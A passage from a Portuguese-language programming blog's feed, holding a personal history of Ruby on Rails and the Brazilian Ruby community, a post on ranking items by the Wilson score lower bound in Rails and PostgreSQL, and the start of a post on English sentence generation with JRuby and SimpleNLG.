<p>Finalmente, em Novembro de 2011 outro produto importante foi lançado, o Travis-CI, fundado por rubistas como Josh Kalderimis, Konstantin Haase, Sven Fuchs e outros, em Berlin, na Alemanha. Eles conseguiram finalmente produtificar o conceito de integração contínua. Não só isso como ofereceram um serviço gratuito pra projetos open source que se integra diretamente no GitHub e pela primeira vez projetos de software livre tinham a opção de demonstrar seu nível de testes diretamente na primeira página dos repositórios. Vocês podem ver que nós rubistas originais levávamos testes realmente a sério.</p>
<p>Só de bônus, foi também em 2011 mas não achei a data que Bryan Helmkamp criou o CodeClimate pra automatizar ferramentas de análise de código como Rubocop, Flay, Brakeman e outros, se integrando ao GitHub pra demonstrar como anda a saúde de nosso código. A partir desse ponto fomos refinando mais e mais nosso cinto de utilidades de qualidade de código Ruby e demos o exemplo pra todas as outras comunidades. Nenhum até hoje conseguiu chegar no mesmo nível obsessivo de qualidade que nós das primeiras gerações de Railers quisemos alcançar.</p>
<p>Vou parar a cronologia por aqui, veja que estou parando 8 anos atrás, mas acho que vocês podem ver como os acontecimentos do mercado em geral e do Ruby on Rails a esta altura já tinham mudado o mundo de desenvolvimento de software. Novas linguagens começaram a surgir, muitos influenciados por Ruby. Novos frameworks começaram a surgir, muitos influenciados por Ruby on Rails. O fluxo de trabalho havia sido já fundamentalmente mudado graças à adoção das práticas ágeis de extreme programming, Os conceitos de produtos Web 2.0, adoção de SaaS, PaaS, mundo cloud e tudo mais derivou dessa geração de Ruby on Rails entre 2004 e 2011. E em 2011 ainda estamos 2 anos antes do Docker ser lançado pela primeira vez, essa história é longa.</p>
<p>Lá no começo, em 2008 eu comecei a entrevistar diversos rubistas e outros desenvolvedores e publiquei no meu blog. Se você é de Microsoft vai saber quem é Scott Hanselman, leia a entrevista no blog. Adrian Holovaty o criador do Django de Python? Tá no blog também. Criadores de conteúdo como Geoffrey Grosenbach que na época tocava o Peepcode e o Peter Cooper que na época tocava o Ruby Inside? Tão no blog também. Depois da controvérsia que o Alex Payne do Twitter causou com o Rails não Escala eu entrevistei um dos primeiros engenheiros do Twitter, o Blaine Cook, confira no blog. Membros fundadores do Ruby Central e os primeiros rubistas, Chad Fowler, David Black depois Evan Phoenix do projeto Rubinius e Ruby Specs, tão no blog. Rails Core Team Alumni como Jamis Buck e Josh Peek, também tão lá no blog. Enfim, vou deixar a página com as entrevistas linkadas nas descrições abaixo.</p>
<p>Durante esse período entre 2008 e 2016 eu tive a oportunidade de trazer muitos dos principais nomes pra cá incluindo os fundadores do Ruby Central como Chad Fowler, David Black e Rich Kilmer, depois Evan Phoenix. Trouxe gente do Rails Core da época como Matt Aimonetti, Aaron Petterson que é o Tenderlove. Fundador do GitHub Chris Wanstrath, depois Scott Chacon. O Konstantin Haase do Sinatra e Travis-CI. E na última tivemos gente do Ruby Core Team do Japão com a presença de Akira Matsuda. E falando em última, foi no dia 25 de setembro de 2016, que depois de 10 anos organizando eventos de Ruby, eu decidi pendurar as chuteiras.</p>
<p>Como tudo que eu faço fora do meu trabalho principal, eu nunca lucrei nada com os eventos. Vamos dizer que como gerador de conteúdo eu dou um péssimo empresário, porque meu primeiro livro de Rails eu escrevi sem ganhar um centavo porque abri mão dos royalties pra baratear o custo, o objetivo era fomentar o mercado. O blog eu até experimentei colocar ads por um tempo mas era muito feio então desisti e nunca monetizei. Os podcasts que eu fazia com Carlos Brando ou o Rosa nunca monetizei. A Rubyconf eu nunca tive nenhuma compensação financeira. E agora fazendo videos, eu também não monetizo.</p>
<p>Faz mais de 10 anos que eu gero conteúdo de graça e espero poder continuar fazendo isso. E eu não faço isso porque eu sou um cara legal, pelo bem disso ou pelo bem daquilo. Eu só faço assim porque eu quero. O dia que eu não puder, eu páro. Na minha cabeça eu sempre tive uma noção que se meu conteúdo fosse atrelado a um incentivo financeiro, isso ia me comprometer demais. Isso já aconteceu antes, quando tinha patrocinador ou grupos externos envolvidos. E não tem nada que me irrita mais do que eu não poder falar alguma coisa porque certos grupos não iam gostar. Por isso eu prefiro pagar as coisas do meu bolso pra nunca ser usado como plataforma pros outros.</p>
<p>Quando anunciei minha aposentadoria da Rubyconf Brasil, eu achava que finalmente ia conseguir passar um ano sem ter que pensar em eventos… ledo engano. Em dezembro de 2016 uma idéia apareceu do nada na minha cabeça, eu juro que tentei tirar essa idéia da cabeça, mas aí eu e meu sócio começamos a montar a conferência experimental The Conf, mas isso é história pra outro dia. Agora em 2019 estamos na 3a edição da The Conf, crescendo um passo de cada vez, como aconteceu com a Rubyconf Brasil. Um dia eu juro que páro de fazer eventos. E, de novo, eu quero que o evento seja o mais independente possível, basicamente eu e meus sócios pagamos praticamente tudo.</p>
<p>Essa história pra mim começou numa quarta-feita a noite em abril de 2006 quando eu me dei conta que quase ninguém no Brasil inteiro tava dando a mínima pra Ruby on Rails ou sequer sabia o que era isso. Eu nunca tinha visto algo assim antes: a tecnologia certa, com os conceitos certos, tudo pronto, e todo mundo ignorando. Eu tinha duas escolhas, me mudar pra São Francisco e tentar a vida em tech startup de Rails, ou tentar começar do absoluto zero no Brasil. Obviamente escolhi a segunda opção e foi assim que eu comecei, com zero seguidores, zero views, zero empresas e zero emprego.</p>
<p>Preciso agradecer muito meu primeiro chefe de Rails, o Carl Youngblood que achou meu blog lá no começo e me mandou uma oferta de trabalho remoto pra Surgeworks. A coincidência é que o Carl foi missionário no Brasil. Ele é mórmom de Utah. E ele fala português brasileiro quase perfeito, com sotaque brasileiro e tudo, foi muito bizarro ver um gringo falar melhor português do que eu falo inglês. E foi assim que me tornei o primeiro brasileiro da equipe e pra onde eu levei diversos nomes que você deve conhecer hoje como Carlos Brando, o Rodrigo Kochenburger que mencionei no começo, o Marcos Tapajós do Rio de Janeiro, o Renato Carvalho de Brasília que depois fundou a Startaê e vários outros.</p>
<p>Com a missão de evangelizar Ruby e Rails no Brasil eu embarquei numa jornada de palestras por todo o Brasil, fui pra Natal, Teresina, Brasilia, Fortaleza, Campos no Rio, Xanxerê, Londrina, Porto Alegre, Curitiba, Salvador, Rio de Janeiro, São Carlos, Campo Grande, além de ter tido a oportunidade de fazer amigos como o Nihn e Hongli da Phusion na Railsconf de Portland em 2008, ter ido pra Las Vegas pela primeira vez na RailsConf 2009, ter conseguido palestrar pela primeira vez num evento internacional na RailsConf 2010, onde eu conversei pela primeira vez com o DHH, com o Bob Martin e muitos outros, e de lá fui palestrar em Buenos Aires na Locos x Rails, em Moscow, em Amsterdam, em Tel Aviv em Israel que certamente foi um dos países mais fascinantes que eu já conheci, e finalmente em Tokyo em 2011 onde eu pude conhecer o grupo por trás do desenvolvimento do Ruby, incluindo seu criador, o Matz, que assistiu minha palestra sobre como a comunidade de Ruby cresceu no Brasil. Ao longo de 10 anos eu devo ter dado umas 200 palestras no Brasil e no mundo, foi uma jornada absurda que eu não imaginava que pudesse acontecer naquela quarta feira a noite em 2006.</p>
<p>Não podia deixar de relembrar os rubistas que nós perdemos. O Jason Seifer, que foi parceiro de Gregg Pollack no RailsEnvy nos deixou em abril de 2017. O excelente blogueiro de Ruby e criador de bibliotecas como o resource controller original, anterior ao inherited resources nos deixou 3 dias antes de acabar 2014. Ezra Zygmuntowicz nos deixou em Dezembro de 2014. O simpático e saudoso Jim Weirich que inspirou toda uma geração a se importar com testes nos deixou também em 2014, em fevereiro. 2014 foi um ano ruim onde, por diversas razões, perdemos excelente pessoas na nossa comunidade.</p>
<p>Falando em Jim Weinrich se você gosta da linguagem Ruby devia se exercitar num de seus legados, o site Ruby Koans com diversos exercícios diferentes do que vocês está acostumado e que vai te fazer pensar bastante. E na mesma linha temos o Ruby Quiz do James Edward Grey II com mais dezenas de exercícios. São excelentes opções pra você que quer juntar seus amigos pra aprender Ruby, como desenvolver com TDD, no formato de Dojo.</p>
<p>Ruby on Rails já completou 15 anos. Foi uma década e meia de mercado e até hoje ainda temos um mercado enorme, onde rubistas ainda estão entre os desenvolvedores mais bem pagos do mercado e onde o framework ainda é o pacote mais completo, tanto do ponto de vista do framework em si e do ecossistema que se formou ao redor. É o pacote mais pragmático pra montar uma tech startup, salvo raras exceções em componentes especiais que podem ser feitos em Elixir ou Go. Mas se você não quer ter dores de cabeça, você ainda escolhe Ruby on Rails. E se precisa de exemplos, não precisa ir muito longe, o GitHub que você talvez já use todo dia é Ruby on Rails, o gigante Shopify foi um dos primeiros a usar Rails e usa até hoje, o AirBnb é Rails, Kickstater é Rails, a Bloomberg ainda usa Rails, o Twitch usa Rails, Zendesk é Rails, Hulu que foi adquirida primeiro pela Fox e agora pela Disney é Rails.</p>
<p>Uma das coisas que muita gente critica é que Ruby on Rails é um framework que se tornou quase um monopólio dentro da comunidade Ruby, temos alguns micro-frameworks como Sinatra e outros menores que tem seu lugar, mas depois do incidente do Merb, nunca mais outro framework chegou perto de competir. Muita gente usa isso pra dizer como em Java, PHP, Javascript tem muito mais opção. Só que isso é um problema na verdade, porque todo mundo pega uma escolha diferente e isso fragmenta a comunidade. Agora você como desenvolvedor muda de empresa, vai encontrar um projeto com bibliotecas e estruturas e estilos completamente diferentes. Toda vez você tem uma curva de aprendizado maior e você nunca realmente domina, é o caso de virar um Jack of all trades, master of none. Como em Ruby, todo projeto em Rails é parecido, quando você muda de empresa, encontra o mesmo ambiente e já é produtivo imediatamente. Por isso andamos tão rápido em tão pouco tempo, porque além disso todo o ecossistema de bibliotecas, produtos e soluções só precisava focar num único framework e com isso nasceu Heroku, Travis, CodeClimate, New Relic.</p>
<p>Levou anos pras outras comunidades começarem a entender um pouco disso e agora no Python meio que Django é a escolha padrão, em PHP o Laravel é a escolha padrão, em Elixir o Phoenix é o padrão, em Crystal o Lucky ou Kemal são padrão, no Java não tenho certeza se Play ou Spring é mais usado, no Go não tenho idéia de qual é padrão mas acho que não tem, são várias opções, em Javascript nem me pergunta, não quero nem pensar nessa zona.</p>
<p>A única outra comunidade na época que pôde usufruir desse fator, pelo bem ou pelo mal, foi o ASP.NET da Microsoft. A diferença é que o ASP.NET original era baseado nos paradigmas que tínhamos no J2EE do fim dos anos 90 e que foi justamente o que o Rails veio combater em 2004. E em 2004 nenhuma outra linguagem tinha opção parecida. Levou anos e anos até finalmente chegarmos no estágio de hoje, onde todo mundo finalmente está trabalhando mais ou menos “on Rails” que quer dizer com foco em qualidade, em entregar valor, em usar as práticas ágeis, usando essa geração de SaaS e IaaS com bons repositórios de código como GitHub ou GitLab, bons gerenciadores de projeto especialmente os derivados do Pivotal Tracker, embora os derivados de Trello também quebrem o galho, boas soluções de deployment de Heroku a soluções da AWS. E até a Microsoft cedeu e com o ASP.NET MVC ele se aproximou dos paradigmas do Ruby on Rails também.</p>
<p>O modelo de desenvolvimento de software se divide em antes e depois de 2004. E tudo que construímos nos 10 anos seguintes até 2014 é o que usamos até hoje em 2019 como o estado da arte. Eu queria falar dos últimos 8 anos desde 2011 mas vou parar por aqui e quem sabe retomar num próximo episódio, mas o objetivo de hoje era registrar o que eu lembro que foi importante pra mim no começo da história e qual foi a importância do surgimento do Ruby on Rails e porque vai ser muito difícil algo parecido acontecer de novo: o DHH teve a sorte de lançar o produto certo na hora certa, com diversos acontecimentos por todo o mercado convergindo no tipo de solução que ele apresentou. O produto certo, feito com os princípios corretos, escolhendo as tecnologias e paradigmas que mais tinham chance, e conseguindo convencer o grupo certo de pessoas, inspiradas pela vontade de se expressar com código em vez de só seguir patterns chatos corporativos e fazer produtos enterprise que ninguém ligava.</p>
<p>Mas sendo muito honesto eu acredito que a influência do Ruby on Rails foi até mais ou menos 2012. Depois disso finalmente as demais comunidades adotaram práticas similares e apareceu uma nova classe de problemas pra resolver. O tipo de coisa que você precisa pra ter um Whatsapp, Discord, Hangouts, Facebook Messenger. Eu diria que é onde o problema original do Twitter finalmente atingiu o mainstream e realmente passamos a resgatar o modelo do Erlang em outras linguagens como Clojure, Go, Elixir, e o meio tapa buraco que foi Node.js pra esses casos. Depois de 2012 que as linguagens mobile se modernizaram com Swift e Kotlin. E também foi depois de 2012 que o Docker apareceu e a conversa sobre devops ganhou um level up culminando com o surgimento de ferramentas e plataformas como Terraform e Kubernetes.</p>
<p>Com tudo isso dito, missão cumprida! Por hoje eu fico por aqui. Se ficaram com dúvidas mande nos comentários abaixo, se curtiram mandem um joinha, não deixem de assinar o canal e clicar no sininho pra não perder os próximos episódios. A gente se vê semana que vem, até mais!</p>
]]></content:encoded><category>rails</category><category>ruby</category><category>historia-da-computacao</category><category>akitando</category></item><item><title>Implementação em Ruby on Rails de um sistema de Ranking/Popularidade (do jeito certo)</title><link>https://akitaonrails.github.io/2016/10/31/implementacao-ruby-on-rails-sistema-ranking-popularidade-correto/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/10/31/implementacao-ruby-on-rails-sistema-ranking-popularidade-correto/</guid><pubDate>Mon, 31 Oct 2016 16:51:00 -0200</pubDate><description>&lt;p&gt;Estava lendo um post publicado recentemente, intitulado &lt;a href="http://naturaily.com/blog/post/ruby-on-rails-implementation-of-a-ranking-system-using-postgresql-window-functions"target="_blank" rel="noopener"&gt;&amp;ldquo;Ruby on Rails implementation of a ranking system using PostgreSQL window functions&amp;rdquo;&lt;/a&gt; e, para ser justo, o objetivo do post era apresentar a &lt;a href="https://www.postgresql.org/docs/8.4/static/functions-window.html"target="_blank" rel="noopener"&gt;função de janela &amp;ldquo;ntile&amp;rdquo; do PostgreSQL&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Acontece que, no caminho, o autor cometeu o mesmo erro que eu vejo se repetir o tempo todo.&lt;/p&gt;
&lt;p&gt;Vamos supor que você tem um projeto com recursos que precisa listar por &amp;ldquo;popularidade&amp;rdquo;. Pode ser um site estilo Reddit, onde as pessoas curtem ou descurtem posts e comentários. Pode ser um e-commerce onde as pessoas curtem ou descurtem produtos.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Estava lendo um post publicado recentemente, intitulado <a href="http://naturaily.com/blog/post/ruby-on-rails-implementation-of-a-ranking-system-using-postgresql-window-functions"target="_blank" rel="noopener">&ldquo;Ruby on Rails implementation of a ranking system using PostgreSQL window functions&rdquo;</a> e, para ser justo, o objetivo do post era apresentar a <a href="https://www.postgresql.org/docs/8.4/static/functions-window.html"target="_blank" rel="noopener">função de janela &ldquo;ntile&rdquo; do PostgreSQL</a>.</p>
<p>Acontece que, no caminho, o autor cometeu o mesmo erro que eu vejo se repetir o tempo todo.</p>
<p>Vamos supor que você tem um projeto com recursos que precisa listar por &ldquo;popularidade&rdquo;. Pode ser um site estilo Reddit, onde as pessoas curtem ou descurtem posts e comentários. Pode ser um e-commerce onde as pessoas curtem ou descurtem produtos.</p>
<p>Pode ser qualquer coisa em que as pessoas curtem ou descurtem algo.</p>
<p>O maior erro que se comete é considerar um score simplório assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">popularity</span> <span class="o">=</span> <span class="n">positive_votes</span> <span class="o">-</span> <span class="n">negative_votes</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Existe um artigo antigo chamado <a href="http://www.evanmiller.org/how-not-to-sort-by-average-rating.html"target="_blank" rel="noopener">&ldquo;How Not To Sort By Average Rating&rdquo;</a> e cito:</p>
<blockquote>
  <p>&ldquo;<em>Por que está errado:</em> Suponha que um item tenha 600 votos positivos e 400 negativos: 60% positivo. Suponha que o item dois tenha 5.500 votos positivos e 4.500 negativos: 55% positivo. Esse algoritmo coloca o item dois (score = 1000, mas só 55% positivo) acima do item um (score = 200, com 60% positivo). ERRADO.&rdquo;</p>

</blockquote>
<p>Aí você pode pensar: já sei como consertar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Score</span> <span class="o">=</span> <span class="n">average_rating</span> <span class="o">=</span> <span class="n">positive_votes</span> <span class="o">/</span> <span class="n">total_votes</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>De novo, está errado, e cito mais uma vez:</p>
<blockquote>
  <p>&ldquo;<em>Por que está errado:</em> A média funciona bem quando sempre se tem uma tonelada de votos, mas suponha que o item 1 tenha 2 votos positivos e 0 negativos. Suponha que o item 2 tenha 100 votos positivos e 1 negativo. Esse algoritmo coloca o item dois (toneladas de votos positivos) abaixo do item um (pouquíssimos votos positivos). ERRADO.&rdquo;</p>

</blockquote>
<h3>Solução Correta: Limite Inferior do Intervalo de Confiança de Wilson para uma Bernoulli<span class="hx:absolute hx:-mt-20" id="solução-correta-limite-inferior-do-intervalo-de-confiança-de-wilson-para-uma-bernoulli"></span>
    <a href="#solu%c3%a7%c3%a3o-correta-limite-inferior-do-intervalo-de-confian%c3%a7a-de-wilson-para-uma-bernoulli" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>E cito de novo:</p>
<blockquote>
  <p>&ldquo;<em>Como assim:</em> Precisamos balancear a proporção de votos positivos com a incerteza de um número pequeno de observações. Felizmente, a matemática para isso já tinha sido resolvida em 1927 por Edwin B. Wilson. O que queremos perguntar é: dadas as avaliações que tenho, existe 95% de chance de que a fração &lsquo;real&rsquo; de avaliações positivas seja, no mínimo, quanto? Wilson dá a resposta. Considerando apenas votos positivos e negativos (ou seja, não uma escala de 5 estrelas), o limite inferior da proporção de avaliações positivas é dado por:&rdquo;</p>

</blockquote>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/565/rating-equation.png" alt="Equação do Limite Inferior de Bernoulli"  loading="lazy" /></p>
<p>Recomendo que você leia o <a href="http://www.evanmiller.org/how-not-to-sort-by-average-rating.html"target="_blank" rel="noopener">artigo original</a>, mas vamos ao que interessa. Seguindo o post original que linkei no começo, eu tenho uma app Rails simples de blog posts, só que em vez de um campo <code>visits_count</code> preciso adicionar campos <code>positive:integer</code> e <code>negative:integer</code>, além da interface para registrar os votos.</p>
<p>E vou substituir a classe <code>PostWithPopularityQuery</code> pelo seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">PostWithPopularityQuery</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">call</span>
</span></span><span class="line"><span class="cl">    <span class="no">Post</span><span class="o">.</span><span class="n">find_by_sql</span> <span class="o">[</span><span class="s1">&#39;SELECT id, title, body, positive, negative,
</span></span></span><span class="line"><span class="cl"><span class="s1">        ((positive + 1.9208) / (positive + negative) -
</span></span></span><span class="line"><span class="cl"><span class="s1">        1.96 * SQRT((positive * negative) / (positive + negative) + 0.9604) /
</span></span></span><span class="line"><span class="cl"><span class="s1">        (positive + negative)) / (1 + 3.8416 / (positive + negative))
</span></span></span><span class="line"><span class="cl"><span class="s1">        AS ci_lower_bound
</span></span></span><span class="line"><span class="cl"><span class="s1">      FROM posts 
</span></span></span><span class="line"><span class="cl"><span class="s1">      WHERE positive + negative &gt; 0
</span></span></span><span class="line"><span class="cl"><span class="s1">      ORDER BY ci_lower_bound DESC&#39;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E isto é o que eu espero ver num scaffold simples de <code>index.html.erb</code>:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/564/Screen_Shot_2016-10-31_at_16.43.50.png" alt="Página index de Posts"  loading="lazy" /></p>
<p>Eu iria além e recomendaria que <code>ci_lower_bound</code> fosse um campo float na tabela, com um ActiveJob assíncrono atualizando esse valor em intervalos maiores (a cada 5 minutos, por exemplo). Aí a action <code>PostsController#index</code> faria um <code>SELECT</code> direto, ordenando por um campo real e indexado <code>ci_lower_bound DESC</code>, sem refazer as contas a <strong>cada</strong> query.</p>
<p>Agora <strong>ESTE</strong> é o jeito correto de implementar um sistema simples e ingênuo de ranking de popularidade que realmente funciona como deveria.</p>
<p>E não é a única forma. Há dezenas de boas discussões sobre algoritmos online. Todo serviço que depende de popularidade de conteúdo vem refinando algoritmos desse tipo há anos. O Facebook tinha um algoritmo chamado &ldquo;EdgeRank&rdquo;, que dependia de variáveis como Afinidade, Peso, Decaimento Temporal, e parece que evoluiu tanto que hoje calcula popularidade contra mais de <a href="http://marketingland.com/edgerank-is-dead-facebooks-news-feed-algorithm-now-has-close-to-100k-weight-factors-55908"target="_blank" rel="noopener">100 mil variáveis</a>!!</p>
<p>Mas, independente do serviço online, eu garanto que <strong>nenhum</strong> ordena por contagem simples de visitas ou pela média simples dos votos. Isso seria simplesmente errado.</p>
]]></content:encoded><category>algoritmos-e-estruturas-de-dados</category><category>rails</category><category>ruby</category></item><item><title>Geração de Linguagem Natural em Ruby (com JRuby + SimpleNLG)</title><link>https://akitaonrails.github.io/2016/10/28/geracao-de-linguagem-natural-em-ruby-com-jruby-simplenlg/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/10/28/geracao-de-linguagem-natural-em-ruby-com-jruby-simplenlg/</guid><pubDate>Fri, 28 Oct 2016 17:53:00 -0200</pubDate><description>&lt;p&gt;Estou tocando um projeto que precisa gerar frases em inglês decentes. A primeira versão que fiz usava o jeito mais ingênuo possível: criar um template de string e ir fazendo substituições e concatenações simples.&lt;/p&gt;
&lt;p&gt;Mas dá pra imaginar que isso vira uma bagunça rapidamente quando você precisa lidar com pluralização, flexão verbal, e o código começa a ficar parecido com isso:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;There &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;is&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;are&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; user&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="vi"&gt;@users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Ou usar o suporte de I18n do Rails desse jeito:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Estou tocando um projeto que precisa gerar frases em inglês decentes. A primeira versão que fiz usava o jeito mais ingênuo possível: criar um template de string e ir fazendo substituições e concatenações simples.</p>
<p>Mas dá pra imaginar que isso vira uma bagunça rapidamente quando você precisa lidar com pluralização, flexão verbal, e o código começa a ficar parecido com isso:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="s2">&#34;There </span><span class="si">#{</span><span class="vi">@users</span><span class="o">.</span><span class="n">size</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">?</span> <span class="s1">&#39;is&#39;</span> <span class="p">:</span> <span class="s1">&#39;are&#39;</span><span class="si">}</span><span class="s2"> </span><span class="si">#{</span><span class="vi">@users</span><span class="o">.</span><span class="n">size</span><span class="si">}</span><span class="s2"> user</span><span class="si">#{</span><span class="s1">&#39;s&#39;</span> <span class="k">unless</span> <span class="vi">@users</span><span class="o">.</span><span class="n">size</span> <span class="o">==</span> <span class="mi">1</span><span class="si">}</span><span class="s2">.&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou usar o suporte de I18n do Rails desse jeito:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">I18n</span><span class="o">.</span><span class="n">backend</span><span class="o">.</span><span class="n">store_translations</span> <span class="ss">:en</span><span class="p">,</span> <span class="ss">:user_msg</span> <span class="o">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="ss">:one</span> <span class="o">=&gt;</span> <span class="s1">&#39;There is 1 user&#39;</span><span class="p">,</span>
